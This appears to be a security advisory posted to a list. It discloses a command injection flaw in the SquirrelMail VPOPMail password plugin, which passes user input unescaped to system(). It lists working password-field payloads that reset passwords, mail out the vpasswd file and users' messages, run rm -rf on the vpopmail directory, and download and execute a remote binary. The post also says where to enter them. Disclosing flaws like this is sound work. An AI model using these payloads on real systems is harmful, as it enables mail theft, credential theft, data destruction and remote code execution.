Plugin info: http://www.squirrelmail.org/plugin_view.php?id=103
VPOPMail Account Administration The plugin lets the user do the tasks he would be able using qmailadmin
change password let mails forward create away messages
Notes (from the README):
*** IMPORTANT **** For the plugin to work correctly, the Web-Server needs to run as same user as vpopmail does (most common: user vpopmail) this is because the plugin needs write-permissions to the users Maildir to - create appropriate .qmail-files - create away - messages
Comments (from myself):
This (allowing anything to be excuted as the web user) of course is a huge security hole. This actually goes beyond that and says to run the web server as vpopmail!
Amazing! These people are far too trusting of their users.
What could be worse?
How about making it even easier to exploit every vpopmail binary?
Unclean input parsing!
If the vpopmail user is the same as the webuser you get to have fun with:
vaddaliasdomain vconvert vdominfo vpasswd vadddomain vdeldomain vipmap vpopbull vadduser vdelivermail vkill vqmaillocal valias vdeloldusers vmkpasswd vsetuserquota vchkpw vdeluser vmoduser vuserinfo
Basically the exploits are unlimited (as you get full access rights to vpopmail):
password;~vpopmail/bin/vpasswd user@host password
password;cat ~vpopmail/domains/example.com/vpasswd|mail -s owned user@host
password;rm -rf ~vpopmail/
password;ls ~vpopmail/domains/example.com/user/Maildir/new| mail user@host
passwd;cat ~vpopmail/domains/example.com/user/Maildir/new//1027359339.48628.example.com\,S\=2432 | mail user@host
passwd; wget example.com/exploit -O /tmp/f;chmod +x /tmp/f;/tmp/f;
Here is the offending code (line 45 in vpopmail.php):
system("$vpasswd $username $pwd");
As we can see, this is very bad.
Very bad security model (running your webserver as vpopmail) backed up by sloppy coding (passing user entered data into the shell unescaped) == bad bad bad.
So you just pass anything I wrote above (or really anything at all that you desire) and you own the systems vpopmail config.
Enter this data into the password changing field (make sure it matches up in both) in the squirrel mail vpopmail password section to exploit.
But it's just a plugin to a webmail system, so no big deal ;-)
-- error <firstname.lastname@example.org>